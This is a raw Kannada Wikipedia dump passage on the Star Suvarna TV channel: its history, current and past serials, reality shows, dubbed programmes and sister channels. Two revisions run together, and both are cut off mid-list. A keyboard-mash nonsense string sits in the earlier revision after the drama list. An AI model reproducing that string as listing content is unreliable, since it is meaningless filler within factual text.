backwards|date=2009-08-16|website=bangloremirror.indiatimes.com|access-date=2021-09-11}}</ref> * ''ಪಾರಿಜಾತ'' (2011-2012) * ''ಪರಿಣೀತಾ'' (2014) * ''ಪಡುವಾರಹಳ್ಳಿ ಪಡ್ಡೆಗಳು'' (2011-2012) * ''ಪಲ್ಲವಿ ಅನುಪಲ್ಲವಿ'' (2012-2014) * ''ಪಂಚರಂಗಿ ಪೊಂ ಪೊಂ'' (2012-2015) * ''ಪ್ರೀತಿಯಿಂದ'' (2011-2013) * ''ಪ್ರೀತಿ ಎಂದರೇನು'' (2015) * ''ಪ್ರೇಮಲೋಕ'' (2019-2020) * ''ಪ್ರಿಯದರ್ಶಿನಿ'' (2013-2014) * ''ಪುಟ್ಟುಮಲ್ಲಿ'' (2017-2018) * ''ರಾಧೆ ಶ್ಯಾಮಾ'' (2021-2022) * ''ರುಕ್ಕು'' (2021) * ''ಸಾಗುತ ದೂರ ದೂರ'' (2009) * ''ಸಂಗರ್ಶ'' (2020-2022) * ''ಸಂಗೊಳ್ಳಿ ರಾಯಣ್ಣ'' (2007-2008) * ''ಸರಸು'' (2020-2021) * ''ಸರಸ್ವತಿ'' (2013-2014) * ''ಸರ್ವಮಂಗಳ ಮಾಂಗಲ್ಯೆ'' (2018-2020) * ''ಸತ್ಯಂ ಶಿವಂ ಸುಂದರಂ'' (2017-2020) * ''ಶಿವಲೀಲಾಮೃತ'' (2008-2009) <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/suvarna-to-air-kannada-televisions-first-mythologicalshivaleelamrutha-31125.html|title=Suvarna to air Kannada television’s first mythological, ‘Shivaleelamrutha’|date=2008-05-30|website=exchange4media|access-date=2021-09-11}}</ref> * ''ಶ್ರೀಮತಿ ಭಾಗ್ಯಲಕ್ಷ್ಮಿ'' (2015) * ''ಶ್ರೀ'' (2018) * ''ಶ್ರುತಿ ಸೇರಿದಾಗ'' (2019-2020) * ''ಸಿಂಧೂರ'' (2010-2011) * ''ಸಿಂಧೂರ'' (2017-2020) * ''ಸಿಂಗಾರಿ ಬಂಗಾರಿ'' (2014) * ''SSLC ನಾನ್ ಮಕ್ಲು'' (2008-2010) * ''ಸ್ವಾತಿ ಮುತ್ತು'' (2014) * ''ತಿರುಪತಿ ತಿರುಮಲ ವೆಂಕಟೇಶ'' (2012) * ''ತ್ರಿವೇಣಿ ಸಂಗಮ'' (2017) * ''ವರಲಕ್ಷ್ಮಿ ಸ್ಟೋರ್ಸ್'' (2019-2020) * ''ಯಜಮಾನಿ'' (2019-2020)b. V v f f f fg x x d dbdhswjsbs s s e e shzhwbs e d d dbdbsb === ರಿಯಾಲಿಟಿ ಶೋಗಳು === * ''ಆಕ್ಷನ್ ಸ್ಟಾರ್'' * ''ಆನಂದವಾಣಿ'' * ''ಆರೋಗ್ಯ'' * ''[[Bengaluru Benne Dose|ಬೆಂಗಳೂರು ಬೆಣ್ಣೆ ದೋಸೆ]]'' * ''ಭರ್ಜರಿ ಕಾಮಿಡಿ'' * ''ಭವ್ಯ ಬ್ರಹ್ಮಾಂಡ'' * ''ಬೊಂಬಾಟ್ ಭೋಜನ (ಸೀಸನ್ 1)'' * ''[[Bigg Boss Kannada (season 2)|ಬಿಗ್ ಬಾಸ್ ಕನ್ನಡ (ಸೀಸನ್ 2)]]'' * ''ಬೊಂಬಾಟ್ ಉಪಹಾರ'' * ''[[Cookku with Kirikku|ಕಿರಿಕ್ಕು ಜೊತೆ ಕುಕ್ಕು]]'' * ''ಕಾಮಿಡಿ ಕೆಫೆ'' * ''ಕನ್ನೆಕ್ಸೀನ್ '' * ''ಡಾನ್ಸ್ ಡಾನ್ಸ್ (ಸೀಸನ್ 1–2)'' * ''ಡಾ.ರಾಜ್ ಅಭಿಮಾನಿ ದೇವರು'' * ''ಗಾನ ಬಜಾನ (ಸೀಸನ್ 1,2)'' * ''ಗರಂ ಮಸಾಲೆ'' * ''ಹಳ್ಳಿ ಹೈದ ಪ್ಯಾಟೆಗ್ ಬಂದ'' * ''ಹೊಸ LUV ಸ್ಟೋರಿ '' * ''ಜಗವೇ ವಿಸ್ಮಯ'' * ''[[ಕನ್ನಡದ ಕೋಟ್ಯಧಿಪತಿ|ಕನ್ನಡದ ಕೋಟ್ಯಾಧಿಪತಿ]] (ಋತು 1–3)'' * ''ಕಥೆ ಅಲ್ಲ ಜೀವನ'' * ''ಅಡಿಗೆ ದರ್ಬಾರ್'' * ''ಕಿಚನ್ ಕಿಲಾಡಿಗಳು'' * ''ಜೀವನ ಇಷ್ಟೇ ನೆ'' * ''ಲಿಟಲ್ ಸ್ಟಾರ್ ಸಿಂಗರ್'' * ''ಮಹರ್ಷಿ ದರ್ಪಣ'' * ''ಮಜಾ ವಿತ್ ಸೃಜ'' * ''ಮನೆ ಅಡುಗೆ'' * ''ಮಾತು ಕಥೆ ವಿನಯ್ ಜೋತೆ'' * ''ಮಾರ್ನಿಂಗ್ ವಿತ್ ಮುರಳಿ'' * ''ಮ್ಯೂಸಿಕ್ ನಾ ಸೂಪರ್ ಸ್ಟಾರ್'' * ''ನಡೆದಿದ್ದೇನು'' * ''ನನ್ನ ಹಾಡು ನನ್ನದು'' * ''ನೀನಾ ನಾನಾ'' * ''ನೀನು ಭಲೇ ಖಿಲ್ಲಡಿ'' * ''ನಂ.1 ಯಾರಿ'' * ''ನೋಡಿ ಸ್ವಾಮಿ ನಾವಿರೋದೆ ಹೀಗೇ'' * ''ಪಾಕ ಶಾಲೆ'' * ''ಪುಟಾಣಿ ಪಂಟ್ರು'' * ''ಪುಟಾಣಿ ವಾರ್ತೆ'' * ''ಪ್ಯಾಟೆ ಹುಡ್ಗೀರ್ ಹಳ್ಳಿ ಲೈಫ್ (ಸೀಸನ್ 1–4)'' * ''ಪ್ಯಾಟೆ ಮಂದಿ ಕಾಡಿಗೆ ಬಂದ್ರು'' * ''[[Samartha Sadguru|ಸಮರ್ಥ ಸದ್ಗುರು]]'' * ''ಸತ್ಯ ನಿತ್ಯ'' * ''ಶ್ '' * ''ಶ್ರೀಕರ'' * ''ಸಿಂಪಲ್ಲಗಿ ಇಂಗ್ಲೀಷ್'' * ''[[Sixth Sense Kannada|ಸಿಕ್ಸ್ತ್ ಸೆನ್ಸ್ ಕನ್ನಡ]]'' * ''ಸ್ಟಾರ್ ಸಿಂಗರ್'' * ''ಸೂಪರ್ ಜೋಡಿ'' * ''ಕರ್ನಾಟಕದ ಸೂಪರ್ ಸ್ಟಾರ್'' * ''ಸೂಪರ್ ಟ್ವಿನ್ಸ್'' * ''ಸುವರ್ಣ ಸಿನಿವಾರ'' * ''ಸುವರ್ಣ ಲೇಡಿಸ್ ಕ್ಲಬ್'' * ''ಸುವರ್ಣ ಪಾಕ ಶಾಲೆ'' * ''ಸುವರ್ಣ ಸೂಪರ್‌ಸ್ಟಾರ್ (ಸೀಸನ್ 1)'' * ''ಸ್ವಲ್ಪ ಅಡ್ಜಸ್ಟ್ ಮಾಡ್ಕೋಳಿ'' * ''ಸ್ವಯಂವರ'' * ''ಸೈ ಟು ಡಾನ್ಸ್'' * ''ತರ್ಲೆ ನಾನ್ ಮಕ್ಳು'' === ಡಬ್ಬಿಂಗ್ ಪ್ರದರ್ಶನಗಳು === {| class="wikitable sortable" !ವರ್ಷ !ಧಾರಾವಾಹಿ !ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ !ಸಂಚಿಕೆಗಳ ಸಂಖ್ಯೆ |- |2021 |''ಬೆಸುಗೆ'' |''[[Intiki Deepam Illalu|ಇಂತಿಕಿ ದೀಪಂ ಇಲ್ಲಲು]]'' |89 |- |2021 |''ಚಂದ್ರನಂದಿನಿ'' |''[[Chandra Nandini|ಚಂದ್ರ ನಂದಿನಿ]]'' |3 |- |2020 |''ಕಥೆಯ ರಾಜಕುಮಾರಿ'' |''[[Kathalo Rajakumari (TV series)|ಕಥಲೋ ರಾಜಕುಮಾರಿ]]'' |79 |- |2020 |''ಮಹಾಭಾರತ'' |''[[Mahabharat (2013 TV series)|ಮಹಾಭಾರತ]]'' |156 |- |2020 |''ಮಾಯಾಜಾಲ'' |''[[Yehh Jadu Hai Jinn Ka!|ಯೆಹ್ ಜಾದು ಹೈ ಜಿನ್ ಕಾ!]]'' |118 |- |2020 |''ಓಂ ನಮಃ ಶಿವಾಯ'' |''[[Devon Ke Dev...Mahadev|ಡೆವೊನ್ ಕೆ ದೇವ್...ಮಹಾದೇವ]]'' |51 |- |2020 |''ರಾಣಿ ಪದ್ಮಿನಿ ದೇವಿ'' |''ಆಮೆ ಕಥಾ'' |41 |- |2021 |''ರೋಬೋ ಸೊಸೆ'' |''[[Bahu Hamari Rajni Kant|ಬಹು ಹಮಾರಿ ರಜನಿ ಕಾಂತ್]]'' |193 |- |2020 |''ಶ್ರೀ ಮಹಾಗಣಪತಿಯ ಭವ್ಯ ಚರಿತೆ'' |''[[Deva Shree Ganesha|ದೇವ ಶ್ರೀ ಗಣೇಶ]]'' |11 |- |2020-2021 |''5 ಸ್ಟಾರ್ ಕಿಚನ್ ITC ಬಾಣಸಿಗರ ವಿಶೇಷ'' |''[[5 STAR Kitchen ITC Chef's Special|5 ಸ್ಟಾರ್ ಕಿಚನ್ ITC ಬಾಣಸಿಗರ ವಿಶೇಷ]]'' |13 |- |2020-2021 |''ದೃಷ್ಟಿ'' |''[[Nazar (TV series)|ನಾಜರ್]]'' |437 |- |2020-2021 |''ಸೀತೆಯ ರಾಮ'' |''[[Siya Ke Ram|ಸಿಯಾ ಕೆ ರಾಮ್]]'' |176 |- |2021-2022 |''ಕರುಲಿನ ಕೂಗು'' |''[[Kumkuma Puvvu|ಕುಂಕುಮ ಪುವ್ವು]]'' |255 |- |2021-2022 |''ದಿವ್ಯ ದೃಷ್ಟಿ'' |''[[Divya Drishti|ದಿವ್ಯ ದೃಷ್ಟಿ]]'' |104 |- |2022 |''ಕವಚ ರಕ್ಷಣೆಗೆ'' |''[[Qayamat Ki Raat|ಖಯಾಮತ್ ಕಿ ರಾತ್]]'' |70 |- |2022 |''ಬಾಲ ಕೃಷ್ಣ'' |''[[Jai Kanhaiya Lal Ki|ಜೈ ಕನ್ಹಯ್ಯಾ ಲಾಲ್ ಕಿ]]'' |108 |- |} == ಚಾನೆಲ್‌ಗಳು == {| class="wikitable" !ಚಾನಲ್ !ವರ್ಗ !SD/HD ಲಭ್ಯತೆ !ಟಿಪ್ಪಣಿಗಳು |- |''ಸ್ಟಾರ್ ಸುವರ್ಣ'' |[[General entertainment channel|ಜಿಈಸಿ]] |SD+HD |ಹಿಂದೆ ''ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ'' |- |''[[Star Suvarna Plus|ಸ್ಟಾರ್ ಸುವರ್ಣ ಪ್ಲಸ್]]'' |[[Movies|ಚಲನಚಿತ್ರಗಳು]] |SD |ಹಿಂದೆ ''ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ ಪ್ಲಸ್'' |} ==ಉಲ್ಲೇಖಗಳು== [[ವರ್ಗ:ಕನ್ನಡ ಟಿವಿ ವಾಹಿನಿ]] [[ವರ್ಗ:ಡಿಸ್ನಿ ಸ್ಟಾರ್ ಒಡೆತನದ ವಾಹಿನಿ]] [[ವರ್ಗ:ಭಾರತದಲ್ಲಿ ಕನ್ನಡ ಟಿವಿ ಚಾನೆಲ್]] n4ef2r4jbd0qgc0yqnvymd051410o9q 1116605 1116602 2022-08-24T09:21:26Z Ishqyk 76644 ವರ್ಗ wikitext text/x-wiki {{Infobox ದೂರದರ್ಶನ ವಾಹಿನಿ|name=ಸ್ಟಾರ್ ಸುವರ್ಣ|network=ಡಿಸ್ನಿ ಸ್ಟಾರ್|owner=ಡಿಸ್ನಿ ಸ್ಟಾರ್|slogan=ಬದಲಾವಣೆಯ ಬೆಳಕು|country=[[ಭಾರತ]]|language=[[ಕನ್ನಡ]]|headquarters=[[ಬೆಂಗಳೂರು]], [[ಕರ್ನಾಟಕ]]|former names=ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ (2007-2016)|broadcast area=ಭಾರತ|launch=ಜೂನ್ 17, 2007; 15 ವರ್ಷಗಳ ಹಿಂದೆ|logofile=Star Suvarna Channel.jpeg}} '''ಸ್ಟಾರ್ ಸುವರ್ಣ''' ಎಂಬುದು ಭಾರತೀಯ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] [[ಮನೋರಂಜನೆ|ಸಾಮಾನ್ಯ ಮನರಂಜನಾ]] ಪಾವತಿ ಟೆಲಿವಿಷನ್ ಚಾನೆಲ್ ಆಗಿದ್ದು, ಇದು ವಾಲ್ಟ್ ಡಿಸ್ನಿ ಕಂಪನಿ ಇಂಡಿಯಾದ ಅಂಗಸಂಸ್ಥೆಯಾದ ಡಿಸ್ನಿ ಸ್ಟಾರ್ (ಹಿಂದೆ ''ಸ್ಟಾರ್ ಇಂಡಿಯಾ'' ) ಒಡೆತನದಲ್ಲಿದೆ. ಚಾನೆಲ್ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಕಾರ್ಯಕ್ರಮಗಳಾದ ನಾಟಕ, ರಿಯಾಲಿಟಿ ಶೋಗಳು ಮತ್ತು ಕನ್ನಡ ಚಲನಚಿತ್ರಗಳನ್ನು ಪ್ರಸಾರ ಮಾಡುತ್ತದೆ. [[ವರ್ಗ:ಕಿರುತೆರೆ ವಾಹಿನಿಗಳು]] == ಇತಿಹಾಸ == ಇದನ್ನು ಜೂನ್ 17, 2007 ರಂದು ಜುಪಿಟರ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ವೆಂಚರ್ (ಜೆಇವಿ) ಏಷ್ಯಾನೆಟ್ ಸುವರ್ಣ ಎಂದು ಏಷ್ಯಾನೆಟ್ ಕಮ್ಯುನಿಕೇಷನ್ಸ್ ಲಿಮಿಟೆಡ್ ಒಡೆತನದಲ್ಲಿ ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/jevs-suvarna-tv-to-launch-on-june-17tamil-channel-next-26364.html|title=JEV's Suvarna TV to launch on June 17; Tamil channel next - Exchange4media|website=exchange4media|access-date=2019-03-22}}</ref> ಸ್ಟಾರ್ ಸುವರ್ಣವು 2010 ರಲ್ಲಿ [[ತುಳು|ತುಳು ಭಾಷೆಯ]] ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಪ್ರಾಮುಖ್ಯತೆ ನೀಡಿದ ಭಾರತದ ಮೊದಲ ವಾಹಿನಿಯಾಗಿದೆ, ಆದರೆ ಚಾನೆಲ್ [[ಕನ್ನಡ|ಕನ್ನಡ ಭಾಷೆಯ]] ಕಾರ್ಯಕ್ರಮಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/suvarna-tv-upbeat-about-its-tulu-programming-39705.html|title=Suvarna TV upbeat about its Tulu programming|date=October 11, 2010|website=exchange4media|access-date=2021-02-24}}</ref> 2013 ರಲ್ಲಿ, ಸ್ಟಾರ್ ಇಂಡಿಯಾ ತಮ್ಮ ಮೂಲ ಕಂಪನಿಯಿಂದ ಸುದ್ದಿ ವಾಹಿನಿಗಳನ್ನು ಹೊರತುಪಡಿಸಿ ಏಷ್ಯಾನೆಟ್ ಕಮ್ಯುನಿಕೇಷನ್ಸ್ ಅನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>{{Cite web|url=https://www.medianama.com/2014/03/223-star-india-asianet/|title=STAR India acquires 100% Stake In Asianet Communications|date=13 March 2014|publisher=Medianama|access-date=18 October 2019}}</ref> 25 ಜುಲೈ 2016 ರಂದು, ಚಾನೆಲ್ ಅನ್ನು ಅದರ ಸಹೋದರ ಚಾನೆಲ್ ಸ್ಟಾರ್ ಸುವರ್ಣ ಪ್ಲಸ್ ಜೊತೆಗೆ ಸ್ಟಾರ್ ಸುವರ್ಣ ಎಂದು ಮರುನಾಮಕರಣ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.indiantelevision.com/television/tv-channels/regional/star-india-rebrands-suvarna-channels-revamps-programming-lineup-160720|title=Star India rebrands Suvarna channels, revamps programming lineup|date=20 July 2016|website=[[Indian Television]]}}</ref> <ref>{{Cite web|url=http://www.startv.com/newsroom/suvarna-is-now-bigger-with-star-suvarna/|title=Suvarna is now bigger with 'Star Suvarna'|website=Star TV}}</ref> ಸ್ಟಾರ್ ಸುವರ್ಣ ಪ್ಲಸ್ ಅನ್ನು 14 ಆಗಸ್ಟ್ 2013 ರಂದು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/archive/a-new-star-in-the-southern-skies/1145414/|title=A new star in the southern skies|website=The Financial Express}}</ref> ಸ್ಟಾರ್ ಸುರ್ವಾನಾ ತನ್ನದೇ ಆದ ಹೈ-ಡೆಫಿನಿಷನ್ ಸಿಮುಲ್ಕಾಸ್ಟ್ ಅನ್ನು 15 ಜುಲೈ 2017 ರಂದು ಪ್ರಾರಂಭಿಸಿತು. ಇದು HD ದೃಶ್ಯಗಳು ಮತ್ತು ಡಾಲ್ಬಿ ಡಿಜಿಟಲ್ ಪ್ಲಸ್ 5.1 ಧ್ವನಿ ಗುಣಮಟ್ಟವನ್ನು ನೀಡುತ್ತದೆ. <ref>{{Cite web|url=http://cablequest.org/index.php/news/national-news/item/10658-star-suvarna-hd-launched-on-tata-sky|title=Star Suvarna HD launched on Tata Sky|website=CableQuest Magazine|language=en-gb|access-date=2019-03-24}}</ref> <ref>{{Cite web|url=http://www.startv.com/newsroom/star-suvarna-hd-launch/|title=STAR SUVARNA HD LAUNCH|website=Star TV}}</ref> == ಪ್ರಸ್ತುತ ಪ್ರಸಾರಗಳು == === ಮೂಲ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ! ಅಳವಡಿಕೆ |- | 30 ಮೇ 2022 ''(ಮೂಲ ದೂರದರ್ಶನ - 2016)'' | ''ಹರ ಹರ ಮಹಾದೇವ'' | (ಮರು-ಪ್ರಸಾರ) |- | 18 ಏಪ್ರಿಲ್ 2022 | ''ರಾಜಿ'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಕೆ ಅಪೋನ್ ಕೆ ಪೋರ್'' |- | 23 ಮೇ 2022 | ''ಅರ್ಧಾಂಗಿ'' | [[ತೆಲುಗು]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಚೆಲ್ಲೆಲಿ ಕಾಪುರಂ'' |- | 22 ಜನವರಿ 2018 | <nowiki><i id="mwVQ">ಮುದ್ದುಲಕ್ಷ್ಮಿಯ ಮುದ್ದುಮಣಿಗಳು</i></nowiki> | [[ಮಲಯಾಳಂ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಕರುತಮುತ್ತು'' |- | 31 ಜನವರಿ 2022 | ''ಬೆಟ್ಟದ ಹೂ'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಇಷ್ಟಿ ಕುಟುಮ್'' |- | 9 ಆಗಸ್ಟ್ 2021 | ''ಮರಳಿ ಮನಸಾಗಿದೆ'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬೆಂಗಾಲಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಕುಸುಮ್ ಡೋಲಾ'' |- | 21 ಡಿಸೆಂಬರ್ 2020 | ''ಯಡಿಯೂರು ಶ್ರೀ ಸಿದ್ಧಲಿಂಗೇಶ್ವರ'' | |- | 7 ಡಿಸೆಂಬರ್ 2020 | ''ಮನಸೆಲ್ಲಾ ನೀನೇ'' | [[ಹಿಂದಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಯೇ ಹೈ ಚಾಹತೇನ್'' |- | 21 ಫೆಬ್ರವರಿ 2022 | ''ಜೇನುಗೂಡು'' | [[ಬಂಗಾಳಿ ಭಾಷೆ|ಬಂಗಾಳಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಖೋರ್ಕುಟೊ'' |} === ರಿಯಾಲಿಟಿ ಶೋಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು |- | 12 ಅಕ್ಟೋಬರ್ 2020 | ''ಸುವರ್ಣ ಸಂಕಲ್ಪ'' |- | 27 ಸೆಪ್ಟೆಂಬರ್ 2021 | ''ಬೊಂಬಾಟ್ ಭೋಜನ ಸೀಸನ್ 2'' |- | 23 ಆಗಸ್ಟ್ 2021 | ''ಸುವರ್ಣ ಸೂಪರ್‌ಸ್ಟಾರ್ ಸೀಸನ್ 2'' |- | 16 ಜುಲೈ 2022 | ''ಇಸ್ಮಾರ್ಟ್ ಜೋಡಿ'' |} === ಡಬ್ಬಿಂಗ್ ಧಾರಾವಾಹಿಗಳು === {| class="wikitable" !ಪ್ರೀಮಿಯರ್ ದಿನಾಂಕ ! ಹೆಸರು ! ನಿಂದ ಡಬ್ ಮಾಡಲಾಗಿದೆ |- | 10 ಜನವರಿ 2022 | ''ಅನುರಾಗ ಅರಳಿತು'' | [[ತೆಲುಗು]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಎನ್ನೆನ್ನೋ ಜನ್ಮಲ ಬಂಧಂ'' |- | 10 ಜನವರಿ 2022 | ''ಹೊಂಗನಸು'' | [[ತೆಲುಗು]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ಗುಪ್ಪೆದಂತ ಮನಸು'' |- | 25 ಜುಲೈ 2022 | ''ಬಂಗಾರದ ಪಂಜರ'' | ತೆಲುಗು ಟಿವಿ ಧಾರಾವಾಹಿ ''ಬಂಗಾರು ಪಂಜರಂ'' |- | 18 ಮೇ 2020 | ''ರಾಧಾ ಕೃಷ್ಣ'' | [[ಹಿಂದಿ]] ಟಿವಿ ಧಾರಾವಾಹಿ ''ರಾಧಾಕೃಷ್ಣ'' |} == ಹಿಂದಿನ ಪ್ರಸಾರಗಳು == === ನಾಟಕ === * ''ಆಕಾಶದೀಪ'' (2012-2014) <ref>{{Cite web|url=https://www.indiantvinfo.com/akashadeepa-kannada-serial/|title=Akashadeepa, Keladi Chennamma, Bhagyavantharu – Suvarna Launches 3 Mega Fiction Shows|website=Indiatvinfo|access-date=2021-09-12}}</ref> * ''ಆಕಾಶದೀಪ'' (2021-2022) * ''ಅಂಬಾರಿ'' (2014-2015) * ''ಅಮ್ಮ'' (2016-2017) * ''ಅಮೃತ ವರ್ಷಿಣಿ'' (2012-2017) * ''ಅಮೃತ ವರ್ಷಿಣಿ'' (2018-2019) * ''ಅಣ್ಣ ತಂಗಿ'' (2011-2012) * ''ಅಂತಃಪುರ'' (2015) * ''ಅನುರೂಪ'' (2014-2016) * ''ಅರಮನೆ ಗಿಲಿ'' (2019-2020) * ''ಅರಗಿಣಿ'' (2013-2015) * ''ಅರ್ಥಿಗೊಬ್ಬ ಕೀರ್ತಿಗೊಬ್ಬ'' (2019-2020) * ''ಅವಲಕ್ಕಿ ಪಾವಲಕ್ಕಿ'' (2009-2010) * ''ಅವನು ಮತ್ತೆ ಶ್ರಾವಣಿ'' (2014-2017) * ''ಬಯಸದೆ ಬಲಿ ಬಂದೆ'' (2019-2020) * ''ಬೀದಿಗೆ ಬಿದ್ದವರು'' (2010) <ref>{{Cite web|url=https://www.newindianexpress.com/entertainment/2010/oct/16/beedige-biddavaru-on-suvarna-195613.html|title=Beedige Biddavaru on Suvarna|date=2010-10-16|website=New Indian Express|access-date=2021-09-11}}</ref> * ''ಭಾಗ್ಯವಂತರು'' (2012) * ''ಬಿಳಿ ಹೆಂಡ್ತಿ'' (2018-2019) * ''ಬೊಂಬೆಯಾಟವಯ್ಯ'' (2010-2011) <ref>{{Cite web|url=https://www.indiantvinfo.com/bombeyatavayya-mega-serial-on-suvarna-tv/|title=Bombeyatavayya New Mega Serial on Suvarna TV from 13 Dec|website=Indiatvinfo|access-date=2021-09-11}}</ref> * ''ಚೆಲುವಿ'' (2012-2013) * ''ಚುಕ್ಕಿ'' (2012-2013) <ref>{{Cite web|url=https://www.indiantvinfo.com/suvarna-serial-chukki/|title=Chukki – New Fiction Show Of Suvarna Starting From 16th April|date=2012-04-11|website=Indiatvinfo|access-date=2021-09-12}}</ref> * ''ಸಹಪಾಠಿಗಳು'' (2010-2012) * ''ದುರ್ಗಾ'' (2015-2017) * ''ಎಲ್ಲರಂತಲ್ಲ ನಮ್ಮ ರಾಜಿ'' (2010) <ref>{{Cite web|url=https://www.adgully.com/ellaranthalla-namma-raaji-is-the-new-fiction-at-suvarna-43912.html|title=Ellaranthalla Namma Raaji is the new fiction at Suvarna|date=2010-07-30|website=Adgully|access-date=2021-09-11}}</ref> * ''ಎರಡು ಕನಸು'' (2017-2018) * ''ಗೀತಾಂಜಲಿ'' (2016-2017) * ''ಗೋತನಾಗ ಪೋರ್ತಾಂಡ್'' (2010-2011) (ಚಾನೆಲ್‌ನ ಮೊದಲ [[ತುಳು|ತುಳು ಭಾಷೆಯ]] ಧಾರಾವಾಹಿ) * ''ಗುಂಡ್ಯಾನ್ ಹೆಂಡ್ತಿ'' (2016) * ''ಗುರು ರಾಘವೇಂದ್ರ ವೈಭವ'' (2010-2012) * ''ಹರ ಹರ ಮಹಾದೇವ'' (2016-2018) * ''ಹುಷಾರ್ ಕರ್ನಾಟಕ'' (2016) * ''ಇದ್ರೆ ಇರಬೇಕು ನಿನಹಂಗಾ'' (2009-2010) <ref>{{Cite web|url=http://sandalwoodnews.blogspot.com/2009/11/socio-political-series-idhre-irabeku.html?m=1|title=Socio Political series- 'Idhre Irabeku Ninhange|date=2009-11-06|website=sandalwood. blogspot.com|access-date=2021-09-11}}</ref> * ''ಇಂತಿ ನಿಮ್ಮ ಆಶಾ'' (2019-2022) * ''ಜಾನಕಿ ರಾಘವ'' (2017-2018) * ''ಜೀವನ ಚೈತ್ರ'' (2016) * ''ಜೀವಾ ಹೂವಾಗಿಡೆ'' (2020-2022) * ''ಕೇವಲ ಮಠ ಮಠದಲ್ಲಿ'' (2016-2017) * ''ಕರಂಜಿ'' (2014) * ''ಕರ್ಪೂರದ ಗೊಂಬೆ'' (2013-2014) * ''ಕೆಳದಿ ಚೆನ್ನಮ್ಮ'' (2012) * ''ಕೃಷ್ಣ ರುಕ್ಮಿಣಿ'' (2011-2013) * ''ಕೃಷ್ಣ ತುಳಸಿ'' (2018-2019) * ''ಕುರುಕ್ಷೇತ್ರ'' (2008) * ''ಕುಶಿ'' (2015) * ''ಲಕುಮಿ'' (2010-2012) * ''ಮಧುಬಾಲಾ'' (2014-2015) * ''ಮಹಾರಾಣಿ'' (2018-2019) * ''ಮಾನಸಪುತ್ರಿ'' (2008) * ''ಮರಳಿ ಬಂದಳು ಸೀತೆ'' (2019-2020) * ''ಮತ್ತೆ ವಸಂತ'' (2020-2022) * ''ಮೀರಾ ಮಾಧವ'' (2013-2014) * ''ಮೇಘಮಂದರ'' (2008-2009) * ''ಮಿಲಾನಾ'' (2013-2016) * ''ಮೌನರಾಗ'' (2018-2019) * ''ನಾನ್ ಹೆಂಡ್ತಿ ಎಂಬಿಬಿಎಸ್'' (2019) * ''ನಾಗ ಪಂಚಮಿ'' (2012) * ''ನೀಲಿ'' (2016-2018) * ''ನಿಹಾರಿಕಾ'' (2016-2017) * ''ನಿರ್ಭಯಾ'' (2015) * ''ಪಾರಿಜಾತ'' (2009) <ref>{{Cite web|url=https://bangaloremirror.indiatimes.com/entertainment/south-masala/parijata-runs-backwards/articleshow/22065976.cms|title=Parijata runs backwards|date=2009-08-16|website=bangloremirror.indiatimes.com|access-date=2021-09-11}}</ref> * ''ಪಾರಿಜಾತ'' (2011-2012) * ''ಪರಿಣೀತಾ'' (2014) * ''ಪಡುವಾರಹಳ್ಳಿ ಪಡ್ಡೆಗಳು'' (2011-2012) * ''ಪಲ್ಲವಿ ಅನುಪಲ್ಲವಿ'' (2012-2014) * ''ಪಂಚರಂಗಿ ಪೊಂ ಪೊಂ'' (2012-2015) * ''ಪ್ರೀತಿಯಿಂದ'' (2011-2013) * ''ಪ್ರೀತಿ ಎಂದರೇನು'' (2015) * ''ಪ್ರೇಮಲೋಕ'' (2019-2020) * ''ಪ್ರಿಯದರ್ಶಿನಿ'' (2013-2014) * ''ಪುಟ್ಟುಮಲ್ಲಿ'' (2017-2018) * ''ರಾಧೆ ಶ್ಯಾಮಾ'' (2021-2022) * ''ರುಕ್ಕು'' (2021) * ''ಸಾಗುತ ದೂರ ದೂರ'' (2009) * ''ಸಂಗರ್ಶ'' (2020-2022) * ''ಸಂಗೊಳ್ಳಿ ರಾಯಣ್ಣ'' (2007-2008) * ''ಸರಸು'' (2020-2021) * ''ಸರಸ್ವತಿ'' (2013-2014) * ''ಸರ್ವಮಂಗಳ ಮಾಂಗಲ್ಯೆ'' (2018-2020) * ''ಸತ್ಯಂ ಶಿವಂ ಸುಂದರಂ'' (2017-2020) * ''ಶಿವಲೀಲಾಮೃತ'' (2008-2009) <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/suvarna-to-air-kannada-televisions-first-mythologicalshivaleelamrutha-31125.html|title=Suvarna to air Kannada television’s first mythological, ‘Shivaleelamrutha’|date=2008-05-30|website=exchange4media|access-date=2021-09-11}}</ref> * ''ಶ್ರೀಮತಿ ಭಾಗ್ಯಲಕ್ಷ್ಮಿ'' (2015) * ''ಶ್ರೀ'' (2018) * ''ಶ್ರುತಿ ಸೇರಿದಾಗ'' (2019-2020) * 